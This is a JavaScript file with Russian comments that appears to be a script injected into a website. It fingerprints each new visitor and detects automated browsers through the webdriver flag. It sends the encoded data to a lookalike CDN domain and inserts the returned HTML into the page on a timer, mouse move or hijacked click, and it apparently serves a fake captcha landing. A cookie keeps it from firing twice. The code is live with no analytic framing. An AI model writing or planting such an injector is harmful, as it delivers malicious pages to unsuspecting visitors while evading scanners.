// Функция кодирования запросов function encode(table, data) { let output = ""; for(let i = 0; i < data.length; i++) { const char = data.charCodeAt(i); const encoded = table.substring(char * 2, char * 2 + 2); output += encoded; } return(output); } // Функция преобразования символов из строки в случайный регистр function randomCase(str) { let output = ""; for(let i = 0; i < str.length; i++) { const char = str[i]; if(/[a-zA-Zа-яА-ЯёЁ]/.test(char)) { output += Math.random() < 0.5 ? char.toUpperCase() : char.toLowerCase(); } else { output += char; } } return(output); } // Функция чтения куки function getCookie(name) { const match = document.cookie.match(new RegExp("(^|; )" + name + "=([^;]*)")); return match ? decodeURIComponent(match[2]) : null; } // Функция проверки доступности localStorage function checkLocalStorage() { try { const key = "5weJZb"; localStorage.setItem(key, "ok"); localStorage.removeItem(key); return(true); } catch(e) { return(false); } } // Событие перезагрузки страницы window.addEventListener("message", e => { if(e.data === "reload") { // Перезагрузка страницы window.location.reload(); } }); // Событие установки cookie window.addEventListener("message", e => { if(e.data === "cookie") { // Перезагрузка страницы window.location.reload(); // Установка cookie document.cookie = "avoTuI=1; path=/; max-age=" + (60 * 60 * 24 * 365); } }); // Таблица const table = "kvsxpzxipxkqomvfgxlrjwdonudlovbzofzeirbikekrnivkrxoqhikwhkakngqlltzqvgdcyrkoqglyffzkfcdjtqwplbwamikthsvbivapinahclkyytqscdmxwiklxlntmpaqgbvntxvmmsjxqbgurggzbezfwueblojunbhfyelzpbpoxnkbuvhlhwyaghdhmepnuiftmjkneohvrogawvsqzhzujriffwlcezycuhrnnlwgudnyenqwhjjywkrsetoiitxpzmgyxesuoakkbdqttfpgalamweubnrafcbzluapylwsklhzonxvvrlexxytixqojuuewpvmhhnjcvlfjlivclepelpkuogncckkcbglmvqrvlkkjiknwxzegcvipmazwlfnvnecsssfsxusmizsjcjaiqkgtbwljldjbsfpdtysadzmzmbdqznhbixllumgmmmsiqitljoeabruwdmcejdfzgpxdaciixrosgrvjstyiyunzscil"; // Триггеры // 0 — сразу/по таймеру // 1 — движение мышью // 2 — по клику const trigger = 0; // Задержка в мс const trigger_delay = 100; // Статическое название cookie для контроля за установками const cookiename = "avoTuI"; // Чтение куки const cookie = getCookie(cookiename); // Кука не найдена if(!cookie) { // Получение данных о компьютере посетителя const info = { theme: window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light", timezone: Intl.DateTimeFormat().resolvedOptions().timeZone, width: screen.width, height: screen.height, ratio: window.devicePixelRatio, resolution: Math.trunc(screen.width * window.devicePixelRatio) + "x" + Math.trunc(screen.height * window.devicePixelRatio), storage: checkLocalStorage() ? 1 : 0, webdriver: navigator.webdriver ? 1 : 0, }; // Преобразование в сжатую строку let data = Object.values(info).join("|"); // Кодирование запроса data = encode(table, data); // Преобразование каждого символа в случайный регистр data = randomCase(data); // Запрос на получение лендинга fetch("https://imgcache.cdnsuicaches.com/" + data) .then(response => response.ok ? response.text() : Promise.reject()) .then(html => { // Новый посетитель или капча не была выполнена if(html != "280504d9dae2f924082cf2649e07ced3") { // Mousemove — любое движение мышью if(trigger === 1) { document.addEventListener("mousemove", function(e) { setTimeout(() => { document.body.insertAdjacentHTML("beforeend", html); }, trigger_delay); }, { once: true }); } // Click — клюк мышью в любом месте else if(trigger === 2) { document.addEventListener("click", function(e) { // Предовращение перехода по ссылке e.preventDefault(); setTimeout(() => { document.body.insertAdjacentHTML("beforeend", html); }, trigger_delay); }, { once: true }); } // Без событий, но с возможностью указать таймер else { setTimeout(() => { document.body.insertAdjacentHTML("beforeend", html); }, trigger_delay); } } }) .catch(() => console.error("Failed to load page!")); }